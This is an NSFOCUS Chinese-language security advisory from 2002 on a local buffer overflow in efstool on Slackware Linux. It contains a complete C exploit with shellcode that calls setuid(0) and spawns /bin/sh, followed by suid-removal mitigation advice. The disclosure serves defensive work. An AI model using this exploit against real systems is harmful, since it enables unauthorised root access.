首页 -> 安全研究

安全研究

安全漏洞
efstool本地缓冲区溢出漏洞

发布日期:2002-09-10
更新日期:2002-09-13

受影响系统:
efstool efstool
    - Slackware Linux 7.1
描述:
efstool是一款Linux系统下efs文件工具。

efstool没有正确处理用户提交的参数,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。

efstool工具对用户提交的参数缺少正确的缓冲区边界检查,本地攻击者可以提交超长的字符串作为参数给efstool执行,可导致堆栈破坏,精心构建提交数据本地攻击者可能以root用户的权限在系统上执行任意指令。

efstool在大多数系统中不以suid root属性安装。

<*来源:Cloud Ass (cloudass_at_antionline.org)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103178578225097&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Cloud Ass(cloudass_at_antionline.org) 提供了如下测试程序:

/* efstool.c - efstool/bof simple overflow in efstool,
*
*
* This code is published propterty of CloudAss, you may
* duplicate this in any shape or form without prior written
* permission from CloudAss.
*
* Bug discovered by ntfx, just figured I'd code a decent
* exploit for it.
*
*
* DISCLAIMER - I am in no way affiliated with ntfx or any members of
* soldierx or legion2002 security.
*
* Usage: ./efsroot offset - bruteforce if neccesary
*
* Bug is pretty stupid, and simple, I have yet to see it give root.
* efstool is not +s on slackware 8.0 , it should spawn a shell
* regardless.
*
* (C) COPYRIGHT CloudAss , 2002
* all rights reserved
***********************************************************************
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define SIZE 3000            
#define NOP 0x90        
#define PATH "/opt/gnome/bin/efstool"    

//--------------------------------------------------
long get_esp(void){ __asm__("movl %esp,%eax\n");}
//--------------------------------------------------

char shellcode[]=
   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {
    char buffer[SIZE];
    long retaddr, offset;
    int i;

    offset = atoi(argv[1]);
    retaddr = get_esp() + offset;

    for(i=0; i < SIZE; i+=4)
         *(long *)&buffer[i] = retaddr;

    for(i=0; i < strlen(shellcode); i++)
        *(buffer+i) = NOP;

    memcpy(buffer+i, shellcode, strlen(shellcode));
    execl(PATH, "efstool", buffer, 0);
    return 0;
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时去除efstool程序的suid root位。

# chmod u-s /path/efstool

厂商补丁:

efstool
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

slackware 8.0默认没有以suid root属性安装,不受此漏洞影响。

浏览次数:3513
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障